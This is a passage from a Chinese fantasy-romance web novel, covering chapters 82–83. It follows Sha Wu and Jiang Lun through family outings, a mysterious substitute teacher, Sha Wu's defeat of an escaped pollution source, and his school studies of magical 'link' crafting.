“缺。极光城的维度更高，在北极圈内，一年有大半年是不适合植物生长的冬季。使用现代科技种植蔬菜的成本极高，超过80%都依赖进口。我这种大棚的种植成本更高。他们大部分时间都吃不到新鲜的绿叶菜和一些对运输条件比较苛刻的娇嫩的水果。”说到这里，姜纶明显有些疑惑，“华夏大区以外，好像对种地没什么天赋。也不是说他们就不种东西，绝大部分的城市都能做到粮食自给，就是吃得比较单一，比较好养活。” “啊？”出生蔬菜水果粮食重镇的沙伍不太能想象，“单一到什么程度？” “他们会更倾向于把食品加工成罐头。” 沙伍也吃过罐头，东湖就有罐头厂，但是：“有些罐头挺好吃的，工作忙的话还很节省时间。不是大部分人家里都会储存一些罐头吗？” “不一样。我们这里储存罐头，是为了防止虫潮、兽潮之类的变异生物袭击城市的时候，造成城市瘫痪，应急个两三天。他们那里是当成日常食品。” 沙伍：“……那确实好养活。” 他还是觉得姜纶说得夸张了，回去之后特意查了查，发现还真的是：“外国人民生活在水深火热之中啊。” 沙叁端着一盘蒜蓉大虾从厨房出来，听他坐在沙发上感慨：“你是政治课上多了？快去洗手，准备吃饭了。姜纶呢？” 姜纶肯定是在能看到他的位置。 沙伍站起来一看，果然看到姜纶待在外面露台上：“我去叫他。” 露台小花园的植物到了采收的季节，沙妈妈很是买了一些菜场不常见的品种，在跟姜纶交流。 晚饭前说说说，吃过晚饭还在说说说。 沙伍看他们说个没完，不耐烦：“你们说，我自己去给二姐送饭。” “哎~你这孩子，怎么这么没耐心呢？”沙妈妈不带半点教训意味地说了他一句，“走走走，顺便去买点东西。” 四个人骑了两辆小飞车，很快就到了沙贰他们工作的百货公司。 沙贰现在有独立办公室，很快就把他们接了进去：“今天我是VIP，这么多人给我送饭。” 办公室很小，四个人站进来有些挤。 他们就是过来看看沙贰新岗位的工作环境，见还不错就放心了。 沙妈妈说道：“你和绍祺吃饭，我们去逛街。” 夏秋蔬菜水果疯涨，露台花园（菜园）的产出足够覆盖四口人。 沙妈妈逛街，很多东西都是给沙贰和曾绍祺买的。 沙伍假装嫉妒：“给我买个冰淇淋！” “现在天气冷了，你还吃冰的啊？我给你买个小蛋糕吧？”沙妈妈知道沙伍以前喜欢吃甜食，没想到现在还喜欢，“小姜、沙叁你们想吃什么？” 刚组建的小家庭起步困难，需要妈妈的格外关照，另外的孩子们也不能忽略。 于是没过一会儿，一家人坐在百货公司的露台上，吃着小蛋糕，看植物展。 沙叁买了一束鲜花送给沙妈妈。 沙伍想着自己送给沙妈妈的海货，总觉得输了，于是买了一束鲜花送给姜纶。 不知道他心理活动的姜纶，当下就忍不住亲了他一下，要不是周围人起哄，他非得…… 好叭，现在他也不能把小鲨鱼真的怎么样。 等等，再等等。 钓鱼佬有的是耐心。 第82章 代课老师 跟沙妈妈他们道别后，属于学生的十月长假宣布结束。 周一早八的沙伍坐在飞车里，跟姜纶闲聊：“现在危险解除了吧？” 他指的是关于姜纶所说的资源划分后，可能会给沙妈妈他们带来的危险。 “不能算是完全解除。不过我会尽量保证沙妈妈他们的安全，不影响他们的正常生活。”姜纶给了他否定的答案，“一种新的权力结构并不会那么快就取代旧有的权力结构，需要时间。虽然从理性角度分析，那些想要动手的人，会权衡利弊，但是现实中永远不可预测，再离谱的事情都有可能发生。” 沙伍听着他的感慨，好奇：“什么离谱的事情？” 姜纶就给他简单说了几个八卦。 沙伍听得目瞪口呆，全程内心都在刷“真的假的”。 然后第一节上，姜纶就被老师给丢了出去：“不听课别影响其他同学学习。” 姜纶很生气。 老师完全没给他面子：“忙你自己的事情去。”他轻飘飘挥出一掌，教室门关上，面对一教室目瞪口呆的学生们，微笑自我介绍，“同学们好，我叫风阳羽，是你们的代课老师，现在负责教你们链路基础这门课。以后要是有别的老师需要代课，也可能是我……” 黑色长发如瀑，长相古典昳丽的美男子，甫一出现就占据了校园论坛话题最热人物。 美男子老师连姜家小少爷的面子都不给，哪怕是对美貌毫不关心的人，都会对风阳羽多加关注。 只是风老师除了上课时间会准时出现在课堂上之外，剩下的时间行踪成谜，所有试图跟踪他的人，全都丢失目标。 “跟踪我干嘛？”大乌鸦站在树梢上，享受黄喉貂（伪）上贡的大鱼。 正在规划中的新城地广人稀，黄喉貂趴在树枝上，四肢和尾巴自然下垂：“刚开始就是单纯看美……看帅哥嘛。后来发现跟踪不到你，就变成了一种比赛。” “比赛？”大乌鸦不解，“现在的小孩子脑子里都在想什么？” “噫~说话老气横秋的。你才一百多岁，比大姐的岁数都小，不要以为辈分高就可以倚老卖老。”沙伍把尾巴甩到树枝的另外一边。 “我什么都没说，你就一堆话。”大乌鸦张开翅膀，脑袋朝天开始晒太阳，“说啊，什么比赛？” 沙伍看了看他的动作，干脆也变成大乌鸦，摆出一样的姿势晒太阳：“就是比谁能跟踪到你。” 其实他也悄咪咪参与了，但是他引以为傲的追踪天赋完全没有作用。 太阳神鸟一丁点污染都没有，九级的异能显然不是姜纶那样的水货，完全闻不到气味。 他能找到风阳羽，纯粹是风阳羽就跟他们住一起。 大乌鸦评价：“你们真无聊。肯定是作业不够多，下次上课我多布置一点作业。” “不要！”链路课作业特别特别难！ 大乌鸦眼珠子朝下，看到沙伍的样子，感觉挺傻的。 咦？ 沙伍是照着他的样子模仿的，难道他的样子也这么傻？ 大乌鸦缓缓站直，挺起胸膛。 不，他是太阳神鸟，象征着光明、生命、火焰。 他绝对不可能这么傻！ 沙伍一点没有改变姿势，感觉这么摊开着挺舒服的：“叔，你不晒太阳了吗？” “不晒了。”等他找个没人的地方晒。 沙伍追问：“叔，你是怎么做到的？根本就没人看到你怎么进入教室又怎么离开的。” 哪怕是九级，也不能隐身吧？ 大乌鸦睥睨地看了一眼傻鸟：“知道什么是太阳神鸟吗？太阳即我，我即太阳。阳光所及之处，就是我能到达的地方。” 沙伍震惊地嘴巴张开：“这也太厉害了吧？” “你听他吹。”姜纶走到窗口，朝着窗外的沙伍伸手，“别跟冒牌乌鸦混，会变笨。” 大乌鸦冷哼：“你一个脑残，有脸说我笨？异能到处乱飞，鱼都抓不到一条，不专心修炼，还分心干那么多事情，是真的不怕自己变成污染源啊。” “嘁，关你屁事。”姜纶抱住跳过来的黄喉貂，把他往自己肩膀上一挂。 大乌鸦抬手就敲了他一记毛栗子：“不准说脏话！” 姜纶脑门上结结实实挨了一记，疼得倒抽气：“你有空就去干活！那么大的岛，净化一下！” “不干。”大乌鸦睥睨，“太阳平等地照耀每一寸土地和生灵。” 大乌鸦很快就飞走了，沙伍变回人形，趴在书房沙发上，继续完善自己大白龙的细节，见姜纶靠过来，知道他工作告一段落，随口问道：“新城什么时候能够迁入人口？” “不急，城市规划还没做好。然后还有基础设施建设，招商引资。人们居住在城市里，得有工作，得吃饭、上学、看病、娱乐购物。不是只盖个房子就行。”姜纶给他大概讲了一下出方案和各种竞标到建造的流程。 沙伍听得一愣一愣的：“好复杂啊。我三哥将来做的工作是不是其中一个环节？” 沙家所有人之前都经历了一轮职业培训，沙叁当然也不例外。 他从一个普通的房产中介，开始接触房地产营销。 说起来，同样都是卖房子的工作，但是房地产营销无论在收入还是职业发展前景上，都比普通的房产中介要好得多。 “没错。将来新城的房产项目要吸引人和商家入住，还得靠三哥这样的人来帮助策划宣传。”姜纶又跟他大致说了一下具体怎么吸引人流入新城市的各种步骤。 沙伍听得一愣一愣的：“比链路还复杂啊。” “不复杂。我们是做甲方的，甲方爸爸知道吗？” “啊~” “我是甲方公司老板，是爸爸的爸爸。” “嗯？” “所以，我只需要下达命令，让底下的人去完成我的意志，有什么不满意的地方，可以让他们修改到我满意为止。” 沙伍下意识带入乙方的视角理解了一下姜纶的话：“你其实不是金龙，是黑色的孽龙吧？” 姜纶不明白：“为什么黑色的是孽龙？” “传说故事里，有两条黑龙兴风作浪，引发了洪水。女娲杀死孽龙，拯救了百姓。” “传说故事很多都是附会的，版本很多。” “哦。”沙伍突然用笔刷给自己的大白龙模型改了个色，正对着龙首和黑龙的眼睛四目相对，感觉到一股寒意沿着尾椎骨瞬间爬到头顶，抖着手赶紧把黑色取消掉。 姜纶看他趴在沙发上大喘气，走过去把人抱在怀里拍拍，实在是不理解：“怎么会被自己吓到？” “才不是我自己！”沙伍被姜纶温暖的怀抱很快安抚好，看着白龙的样子还是心有余悸，“我想变得威严一点……好叭，是凶一点，不是照着我的样子改的。” 姜纶这才注意到白龙的面相确实透着一股凶恶。 粗看不觉得，盯着看得时间长一点，就会有一种在和一条凶龙对视的感觉。 小鲨鱼的雕刻天赋确实很好，还得到过大师的指点，但再怎么样也只是一个初学者，真的能靠着想象力把一条龙雕得这么活？ 姜纶的眼睛一瞬间变成竖瞳，抬手成爪穿过虚空抓住了什么东西，毫不留情地直接捏碎。 沙伍感觉到一股阴湿的狂风突然出现，整个人不由自主变成了小白龙，张开一个不透明的白色泡泡，把自己和姜纶包裹起来。 姜纶温热的异能很快就驱散了那股阴湿。 沙伍缓了几秒钟，才听到姜纶在叫自己，闻到熟悉的香气，近乎虚脱一般问：“受伤了？” 姜纶抬起自己已经开始愈合的手指给他看：“一点小伤。我们去一趟医院。” 沙伍被姜纶抱着直接到家门口的医院，问他：“那是什么东西？” 姜纶的表情有些凝重：“应该是爸妈镇压的污染源。” 沙伍想到那天在山洞里炫耀自己的大白龙变身：“是借着我逃出来了啊。感觉好可怕，像是被鬼附身了一样。” “没有鬼附身，顶多就是逃出了一丝力量。” 家门口……应该说自己家里就有医院，实在是一件特别便利的事情。 沙伍很快就做完了检查，可惜无论是仪器还是鸭老师，除了检查出沙伍的身体恢复速度很快之外，并没有检查出别的东西。 姜纶跟梁管家说了一声：“梁伯，我带小鲨鱼回家一趟。这边有什么事情你帮我看着，学校那边也麻烦你帮忙请假。” “好的。需要准备飞机吗？” “不用。我们现在就走。”说着，他就化作一道金色流光消失在宿舍。 被姜纶护着的沙伍像是小时候裹着暖烘烘的棉被，又像是躺在生蚝岛上房子的壁炉前，抵抗不到三秒钟就睡了过去。 等他醒过来的时候，睡在森林里。 秋天的森林绚烂缤纷，一片叶子上同时有绿色黄色红色。 每一片叶子的颜色分布都不一样。 这个时节掉落的叶子还带着水分，小动物们踩着柔韧的树叶，并没有树叶碎裂的清脆声响，只有一种轻微的震动传递过来。 它们开始忙碌着囤积冬粮。 啊？这么早就开始存粮了？ 他记得后土城现在还有些热。 似乎也不算太早。 它们得趁着现在把森林里成熟的耐储存的果实采摘储存起来，无论是储存进自己的身体作为养分，还是储存进洞穴。 天气可能在一夜之间就冷下来。 到时候地面上会覆盖厚厚的雪，泥土会变硬，森林中的许多生命都会停止生长，等待来年的萌发。 “……呼……” 沙伍感觉自己呼出了一口绵长的气，五颜六色的秋色中升起山岚，映出一道盘绕在他周身的深色虚影。 龙首对着天空仰望：“能够透过你的眼睛看到这个世界真好啊。” 话落，周围缤纷的颜色褪去，秋日有些燥热的温度也一并消失，取而代之的潮湿、阴冷。 腥臭的黏腻感将身体包围，一点点把他往深处拉拽、吞噬。 “真的是……臭烘烘的。”沙伍停止了陷落。 下一秒，白龙趴卧在如镜面一样的水潭上。 隔着薄薄的水面，看向底下的和自己长得一模一样的黑龙。 白龙的爪子瞬间穿破水面，紧紧扣住黑龙的爪子，把黑龙拽出来，毫不迟疑地一口咬向黑龙的脖子。 黑龙扭头避开，进行凶猛地反击。 然而白龙在被黑龙触碰到的瞬间化作白雾，一只龙首突兀出现在黑龙的后方，一口把黑龙的脖子几乎咬断。 并没有咬到实物的感觉，更加没有牙齿切割肉类的阻滞。 黑龙的躲闪和反击显得苍白孱弱。 雾气中的白龙不止一条，黑龙对白雾的攻击毫无作用，很快被无数白龙撕扯殆尽。 ……我只是想出来看一眼这个世界，你对我就没有半点同情？ “死生面前，同情是什么？” 祂都想杀他了，还想让他同情？ 想什么呢？ 白雾汇集成沙伍的样子，小白龙从水潭里爬上岸，爪子在沿途留下一串湿哒哒的脚印，闭着眼睛找到姜纶的后背，把自己挂上去，张嘴打了个饱嗝。 姜纶反手摸了摸小白龙明显鼓胀的肚子，张嘴刚要叫，就被姜俣制止。 “闭嘴，不要叫你妈。” 姜纶皱着眉头看着他爸：“那叫你也没用啊。” 金色的蛇尾巴尖敲击地面，姜俣语气不耐烦：“现在情况不是很明显？污染源产生了意志，试图占据小伍的意识，结果被小伍反杀了。”尾巴尖指指小白龙圆滚滚的肚皮，“吃撑了。” 姜纶显然不满这样轻描淡写的说法：“你不要把这件事情说得跟吃多了东西一样。那是污染源，是你和妈妈一起镇压了两百年都搞不定的污染源啊！” 小白龙偏头，用自己比肿包大一点的犄角顶了顶他的脸颊：“不气不气。” “哦。”姜纶下意识深呼吸，随即发尾都在上扬，“不是，你给我醒醒，现在是睡觉的时候吗？” “呃！”小白龙又打了个饱嗝，觉得他太吵了，从他后背上爬下来，前爪落到大腿上的时候直接松开，仰面倒在地上，然后就这么四脚朝天地躺平，再一点一点摊平。 深潭中，青龙悄无声息地飞了上来，轻轻落在小白龙的身边。 姜俣看着妻子：“你怎么上来了？” “污染源的力量削弱了一点，现在很平静。” 姜纶立刻跟妈妈告状。 姚瑞云扭头看向姜俣。 姜俣抬头看向洞顶。 青龙的视线重新落在小白龙身上，眼神中有着怜爱和怀念，温和的绿光包裹住小白龙。 她看向姜纶：“你小时候可比小伍壮实多了。” 姜纶可不觉得这是好话，更没空怀念小时候，注意力全都放在沙伍身上。 等小白龙的尾巴开始摆动，慢慢张开眼睛，姜纶立刻问：“有没有哪里不舒服？” 小白龙看了看姜纶，再看了看青龙：“妈妈。” 姚瑞云很少展示觉醒体。 沙伍对于青龙的印象，更多的来源于青龙城的各种雕塑和文艺作品。 但这和实际上面对面的感觉很不一样。 沙伍形容不来这种感觉，挥舞着小短腿，笨拙地翻身，爬到青龙的前爪边轻轻一靠，勾着尾巴委委屈屈：“妈妈，我盘不圆。” 小白龙倚靠着青龙睡得像侧翻的布偶。 姜俣看了一眼，无奈潜入深潭中，替换妻子去镇守。 姚瑞云对明显还有些焦虑的姜纶说道：“不用担心。污染是异能的更高层次。小伍是吞噬异能，有能力消化掉这一点点泄露的污染。” 姜纶盘腿在小白龙旁边坐下，伸手摸摸他乱乱的鬃毛：“哪怕是污染源的污染？” “哪怕是污染源的污染。”姚瑞云的视线看向小白龙，“相信小伍，他能把污染源的灵智撕碎，能够分担你的精神。他的意志比你想象中要强得多。” 姜纶皱眉，手指下的鳞片细小纤薄：“可是他这么小。” 青龙慢慢趴卧下来：“你就当小伍是贴秋膘了。” 姜纶感受着手指底下传来的磅礴的生命力，分不清具体是来自于母亲的力量，还是沙伍本身，眼中的担忧并没有减弱：“污染源产生灵智，对你和爸爸有没有什么影响？” “还不清楚。”青色的光晕笼罩住姜纶，“一起睡一觉。” 姜纶不自觉地闭上眼睛，指尖愈合后并没有褪去的血痂快速掉落，露出新生的粉色皮肤，很快就又恢复到和周边皮肤一样的颜色。 小白龙一觉睡醒，精神抖擞，被姜纶带着回宿舍，甚至还只是周日。 空旷的沙滩上，小白龙和粉猫背对背刨坑。 沙子漫天飞。 粉猫率先挖出一只指甲盖大的小螃蟹，叼着唔唔唔地跑。 尾巴竖得笔直，显然异常得意。 小白龙在后面追，根本跑不过粉猫。 粉猫跑一段还停下来等他，等他追近了，又快速跑开，还时不时把小螃蟹放在沙滩上，扒拉两下。 姜纶躺在沙滩椅上，拿着手环拍摄，一边分神看着一些滚动着各种数据和画面的光屏。 薛春盘腿坐在沙滩椅上，视线同样看着自己过分活泼的变异植物。 总觉得这个八级变异植物确实很厉害，又好像厉害得跟他没什么关系。 梁管家端着杯子过来：“小伍、小粉，要不要喝点水？” 伸手出去的薛春拿了个空：“不是给我的？” 梁管家给他个眼神：“你那么大个人了，想要喝水不会自己去倒？” 薛春看着狗一样飞奔过来的小白龙和粉猫，根本来不及反应，身上就被踩了八脚，捂着肚子滚下沙滩椅。 埋头在水碗里补充水分的小白龙，分了一只眼睛看薛春，看粉猫喝完水就往薛春身上跳。 薛春抱住粉猫，一边摸摸头，一边DUANGDUANG肚子：“一天天的，那么大的活动量，怎么长出这么大肚子的？” 小白龙低头看了看自己快要拖地的肚子，爬到姜纶身上趴着，扭头对薛春说道：“这是原始袋，不是肚子。” “那你的呢？” 小白龙骄傲挺胸：“原始袋！” 薛春被呼噜呼噜的猫叫声安抚：“你是猫吗？” 小白龙四只爪子在姜纶身上踩了一圈，盘了个歪歪扭扭的C。 他当然可以是猫。 等他哪天变个小粉，在薛哥脸上踩两脚嘎嘎嘎！ 八级变异植物精力旺盛，一级变异白龙玩了半天就断电了。 薛春就目瞪口呆地看着小白龙开始卧沙，沙滩被海水冲刷了两下，很快就看不到踪迹。 “不是，你都不管管吗？” “管什么？小鲨鱼玩得很开心。” 作为一名高阶异能战士，对自己的专属净化者，肯定有等级方面的要求。 但是作为男朋友，姜纶只想着沙伍能够健康快乐。 实力当然很重要，可以保障自身安全，但是也没必要时时刻刻都那么紧绷。 薛春不赞同：“你太惯着小伍了。他那么特殊，应该抓紧每一分每一秒提升实力。我们当年读书的时候，可没那么轻松。” 按照他来说，沙伍已经缺失了十八年的异能教育，应该比他们更加刻苦才对。 “不着急。他还小呢。”小鲨鱼迟早都会到九级，到时候学什么东西都快，倒是薛春，“你呢？都快30了吧？对象也没有，九级也没有。” 薛春深呼吸一口气，咬牙：“我才25！” 25岁，八级！ 他已经很强了！ “哦，加油。”出生就是九级的姜纶困惑，大概是该给予鼓励？ 薛春大怒，从沙滩椅上跳起来，跑去找小粉提升实力。 原本在沙滩上刨坑的小粉一看到薛春过来，立马开跑。 小风从青龙城回来，过来溜达了一圈：“两个木系小短腿跑得还挺快？小伍呢，我给他买了很可爱的衣服~” 姜纶不屑：“你不要给小鲨鱼买，我都会准备。” 小风从购物袋中，拿出一套小鲨鱼连体衣：“这个！” “我有。” 小风歪头拿出一套小青龙连体衣：“这个！” “我有小白龙的。” 小风眯了眯眼睛，拿出一套背带裤：“穿上会很可爱的哟~”接着又拿出一套小白龙的显然不太正经的衣服，“穿上会……啊！小伍还没穿过呢！” 姜纶捂着鼻子，变出一团火把衣服吞噬：“小鲨鱼还小呢！” 第83章 肥美的肉肉 周一早八，沙伍用异能修饰了一下体型，才算是穿上过于合身的校服。 班长看到身高腿长身形挺拔纤细的沙伍，凑过来做贼一样左看右看：“今天你家小少爷没跟着一起来？” “没。他以后估计会来得少。”被大乌鸦和小夜鹭联手压制了。 毕竟姜纶的工作不是通过手环就能全部完成的，需要大量接触各类人员，不可能一天到晚坐在教室里。 班长立刻就往他身边一坐，压低声音：“问你个问题。” “嗯，你说。”什么事情这么神神秘秘的？ 班长扯了扯自己紧绷的校服：“你是不是有认识的可以改校服的裁缝？能不能介绍我一下，我的校服有点不合身。” 跟着长辈们出海胡吃海塞一个假期，宽吻海豚又胖了一圈。 沙伍不解：“你去校办买套更大号的不就行了？” 班长摆摆手：“我买了，样子不好看，穿着完全没有型。我看过了，全校就你的校服穿着最板正，肯定是找裁缝改的。” 沙伍喜欢好看的衣服，每一季都会有裁缝和设计师上门服务，但是对校服还真没注意过：“我问问？” “快问。” 沙伍见班长不走，就低头给梁管家发消息。 梁管家倒是很快就推了一张名片过来。 沙伍给班长看：“喏。” 班长快速加上。 等一节课结束，班长沮丧：“是我冒昧了，没想到一套校服那么贵。” 其他人忙着去洗漱，回来看到咸鱼一样的班长，竟然听到他感慨价格，纷纷诧异：“班长也会觉得贵？” “班长家不是很有钱吗？” “校服本来就很贵吧？”虽然他们青龙学院的校服是免费发的，但是一整套校服包含春秋装、夏装、冬装，其中常服和作战服各两套，每套衣服又包含很多件。衣服、外套、帽子、鞋子，甚至连雨伞、雨衣都有。 作战服肯定很贵，不用多说。 常服是由著名设计师操刀，选用的材质也兼具了美观和耐磨耐脏，做工剪裁都非常有讲究。 “班长家应该是不缺买校服的钱吧？” 宽吻海豚家是一个海豚大家族，不仅每一代都有优秀的异能战士，而且还经营着水产方面的生意。 家庭财富比不上像后土四少背后的家族，但比起像小丑鱼这样的打工人家庭来说，班长家是相当有钱了。 班长平时吃的用的都不便宜，但：“我也没有钱到能眼也不眨花上几十万买一套校服的地步。” 几十万如果是包含全套四季常服，他还能接受。 但只是一身秋装，他没那么多零花钱。 班长看着沙伍：“有钱真好啊。” 然后班长就被全班联合起来揍了一顿：“别说得好像你很穷似的。” 沙伍低头看看自己的校服：“几十万一身作战服，不是正常价格吗？”只不过是做成了校服常服的式样。 班长“奄奄一息”：“设计师给我的报价不是作战服，是常规布料。我还得在他的工作室先预存两百万，得去他们的工作室量体，然后给我做人台什么的。” 虾同学走进来问了一句：“谁家？” 沙伍把设计师名片给他看。 虾同学恍然大悟：“哦，他们家不是做高定礼服的？没想到他们还做作战服。估计作战服的质量……” 沙伍点头：“作为作战服，质量很一般。”他有几次被夜师傅突然带走，污染区转一圈回来，衣服就不能看了，完全感觉不出作战服的作用。 虾同学看了看沙伍四周：“姜纶今天没来？” “没。你找他？” “唔……”虾同学示意沙伍借一步说话。 两人转到了教室角落的位置，虾同学直接罩了个结界。 其他人一看，齐齐“卧槽”：“白虹都能用结界了！” “我们打架专业的都还玩不溜。” “白虹A级净化，上学期就会勾链路了，会用结界很正常吧？” 在结界内的沙伍倒是不惊讶，作为虾同学的好朋友，他当然知道对方的学习进度，更好奇的是虾同学找姜纶做什么。 课间休息时间有限，虾同学直接开门见山：“姜纶不是在建新城嘛。我暑假的时候跟我家长辈提了一嘴，然后就想问问建新城具体需要准备什么？” 沙伍倒算是全程参与的，但都是走马观花，而且新城的建设感觉不具备参考价值，说道：“一会儿中午一起吃饭，到时候你自己问他。” “行。”虾同学说完，就转身走了。 班长看了看虾同学的背影，又看了看沙伍：“不对啊。你不是净化专业的吗？为什么会在我们这里？你不去上净化课？” 沙伍撸袖子，冲着他挥挥软软的手：“不用啊，这个学期的净化课我免修。” 班长看到他的手，就退开三步远：“拿着你的翅尖奏凯！上次你在海底扇我，别以为我不知道！” 什么净化课免修，打架课才该免修吧！ “噫~”沙伍看了看自己的手，再看看班长，“我以后不扇你了。” 班长大惊：“真的假的？” “真的。”沙伍郑重点头，“我现在扇一下，你可能会死。” 伍哥现在超强！ 班长大怒：“你神马意思！走，出去单挑！” 沙伍心满意足地把班长暴打了一顿，午饭的时候心情非常愉快：“身体活动开了就是舒服。” 没跟着一起上课，但完全知道沙伍干了什么的姜纶：“别老是逮着班长一个人欺负。” “嘿嘿。”沙伍反省一秒钟，“晚点我给他送点吃的赔偿。” 虾同学小声劝：“你别送他吃的了。你看他都胖成什么样了？” “他那不是胖，是魁梧壮硕。”沙伍还是很羡慕班长那样健壮的身材的，可惜他最近只长了个原始袋，“对了，白虹想问你建新城的事情。” 姜纶不用虾同学开口问，就明白了：“你们家是想环太湖建城吧？” “对。家里长辈说是我们老家。” 沙伍拿出手环搜索太湖：“周边都没有城市，好多地方都是黑的。” 姜纶叹息：“因为周边地形几乎每年或者隔两年就会变。3号监测点附近就是黄河入海口，你们都见过。” “嗯。” “太湖属于长江水系。现在长江的流量是黄河的20到25倍左右，那就是一片地上海。太湖的情况比较复杂，不仅受长江的影响，而且有自己的一套相对独立的水系。之前有人考察过，毕竟那边大平原，水热条件很好，很适合种植，但是……”姜纶用自己的手环找出一份相对比较详细的地图，“水网情况太复杂了。过分适合变异生物生长，厉害的东西太多太多。想要在那边建城，起码得先有三个以上院长那样的九级全力清扫才行。”现在污染源的情况有了新的变化，根本腾不出手。 虾同学琢磨了一下姜纶话里面的意思：“明白了。晚点我跟家里面说明一下。” 姜纶多透露了一点：“太湖的情况可能比表面上更加复杂，一定要谨慎行事，最好是不要轻易靠近。八级也不要进入核心区。” “好。”虾同学听劝，站起身告辞，“那我不打扰你们吃饭了，拜拜。” “啊，不一起吃饭？”沙伍看着虾同学飞快走出包间，还给带上了门，转身问姜纶，“太湖的情况真这么复杂？” “嗯。那边有几个监测点，是为了维护通过的城际铁路，暂时不具备拓展建城的可能性。” 沙伍把他手环上的地图发到自己手环上：“我们实习的时候，有机会去看看吗？” “没有。那段沿线不存在适合学生的实习岗位。七级起招。”姜纶说出那边维护小队的标准，“我可以带你去看看，不过去不了核心区，只能在列车沿线转转。” “不能去太湖吗？” “太湖太危险了。” “好叭。”沙伍听劝，只是莫名对太湖在意起来，回家后在姜纶的书房里竟然找到了一些关于的太湖的书，之后又找姚昭华了解了一下大灾变前的太湖。 “在跟大姐视频？”姜纶洗完澡过来书房，本来以为沙伍在学习，“聊什么呢？” 姚昭华说道：“跟小伍说大灾变前的太湖。” 沙伍看了看时间，才发现已经很晚了，赶紧跟姚昭华道别。 姜纶带了点探究地看他：“这么在意太湖？” 沙伍多了解他啊，一看他这样子就知道在飞醋：“不是你说的，太湖地区很适合种地？” 华夏人种地基因觉醒！ 姜纶继续看着他。 “都拿来给你种地不开心？” 姜纶眨了一下眼睛：“给我？” “对啊。我又不会种。”他只会买买买，然后交给机器人养护。 姜纶一下就高兴了。 沙伍变成小白龙钻进被窝：“画个大饼，吃得也高高兴兴的。亏你还是甲方爸爸的爸爸。” “你想着我，我就高兴。”姜纶摸着小白龙依旧有些鼓鼓的肚子，摸着摸着突然忍不住笑出声。 “笑神马！”沙伍本来就撑得不是很舒服，白天忙着学习还好，到晚上睡觉的时候，就难以忽视肚子的酸胀感，每次睡觉都要找好久的姿势才能睡着。 姜纶看着自己手腕上的龙脑袋，低头亲亲：“我就是想，你这样很像是怀……” 小白龙一爪子摁住姜纶的脸：“你闭嘴！这是我凭本事吃出来的肥美的肉肉！” “吃污染源，确实是很凭本事了。”姜纶掐他肚皮，“什么肥美的肉肉，你体重一点没涨。” “称坏了。”小白龙坚定，并且用爪子蹬他。 两个人闹腾了好一会儿，才算睡着。 沙伍的小肚子一直挺到了11月才消失，停留在130斤的体重终于有了变化。 “130.1。” 姜纶摸他肚子：“你肥美的肉肉呢？” 祁大厨看着沙伍的体检报告，比他本人还焦虑：“我还以为到年底能把沙伍养到145斤，现在能不能养到135斤？照这个进度下去，什么时候才能出栏？” 沙伍：“……出栏？我是猪吗？” 祁大厨给了他一个冰冷的眼神：“别侮辱猪，猪比你好养多了。现在的肉猪都是经过严格筛选过的，哪有光吃不长的猪？” 沙伍变成黄喉貂，爬到姜纶脖子上装围脖。 会咬人的围脖。 小动物尖尖的牙齿叩在皮肤上轻轻一刺，又马上收回力气，用鼻子拱拱舌头舔舔，马上又接着咬一口。 姜纶被他啃得心猿意马，然而除了惯着他，没有任何办法。 11月没有假期，沙伍开始死磕链路。 这时候虾同学已经靠着简单的链路加工，完成了收支平衡，整个人显得异常超脱：“总算不用那么精打细算了。” 小丑鱼还是灵魂出窍的状态，泡在布置华丽的海水缸里，吐出的一个个小丑鱼形状的泡泡，像是飞升的灵魂。 半围合的自习室里，三个人分三张桌子做自己的事情。 沙伍埋头在一块蚝壳板上练习，屏气凝神，终于完成一个最基础的激发链路：“啊！终于！还是白虹讲得明白。” 虾同学喝了一口茶，吃了一口松饼，眼睛微微眯起：“你不是有很多老师指导你链路吗？他们肯定比我讲得明白吧？” 沙伍呲牙：“你也上过风叔的链路课，他那教学速度，我跟不上。他完全不能理解，为什么我听不懂。” 他甚至都尝试过变成大乌鸦再学习，但大乌鸦的外形并没有保留大乌鸦的链路知识。 想想也是，他要是能够通过改变外形就掌握别人的知识体系，那真就天下无敌了。 听到风阳羽的名字，小丑鱼一脸痛苦面具：“我感觉他是想把四年的链路课，集中在一个学期内塞给我们。” 虾同学倒是不这么觉得：“我觉得刚好。风老师的课内容扎实，不像其他老师那样，明明一分钟就能讲得明白的内容，非得花十分钟，太浪费时间了。” 沙伍拿起一个盘龙造型的木雕，琢磨着从哪里开始下手勾链路：“我回去跟风叔说，让他给你加作业。” “你就会打小报告。”虾同学看着看着，突然觉得不对劲起来，“等等，你的笔呢？” “我又不画图，拿笔干嘛？”沙伍想着怎么把整条龙呈现出一种金灿灿的效果，但最好不要太闪，得是那种沉稳的带着力量感的金色。 低级光系晶核他倒是有不少，就是想要实现他想要的效果，简单的激发链路应该不行。 他在手环里翻找，找出姜纶以前教过的基础链路：“控制……调节……” “控制个屁啊！”小丑鱼直接在自习室里跳起来，引来周围同学的注目，赶紧道歉后马上在鱼缸里游了一圈，压低声音说，“你特么的不用笔和墨水，到底是怎么勾链路的？” 沙伍觉得大概是有什么不对，但又找不到哪里不对，圆圆的眼睛里全是疑惑：“就用异能勾啊。我看别人都这么勾的，还需要用笔和墨水的吗？” 一直帮他准备学习用品的梁管家，也没有给他准备。 虾同学嘴角抽抽：“你看的‘别人’是谁？” 沙伍掰指头数：“院长、风叔、梁伯、小风姐、薛哥……等等。风叔上课的时候不是从来都这么徒手一画？” “风老师那是风老师。我们只是一级的菜鸟，徒手什么徒手？你能控制好异能输出的稳定吗？”小丑鱼激动说完，视线落在沙伍刚画完的基础链路板子上，突然失去声音，“……你还是人？” 沙伍认真思考了一下：“啊，是人。” 在两位好友的带领下，沙伍翘了晚自习，到市中心的大商场，买了勾链路的专门用笔和墨水。 “还是这里的款式和颜色多。”沙伍把漂亮的文具放进小推车里。 虾同学买了一瓶银色的墨水：“这里的也贵啊。只是多个颜色，价格就贵了快十倍，等我查查怎么自己调。” 小丑鱼已经麻了：“突然觉得学医好省钱。” 虾同学说道：“你学医是赚钱吧？学院对医学生的补贴不少。” 沙伍一听到钱就注意力集中：“第二专业也给补贴吗？” “给啊。只要学，就给补贴。”小丑鱼给他们看，“喏。感觉学医的人少，给的补贴格外大方。” 沙伍看了一眼：“这不比打工赚钱？要是能一直读书就好了。” 小丑鱼呲呲牙：“你就不要羡慕这点小钱钱了吧。” 沙伍跟着呲牙：“抱歉，还没适应有钱人的身份。” “说起来，你今天怎么一个人单独行动了？”虾同学在各种异能物品中转悠，一边跟沙伍聊天。 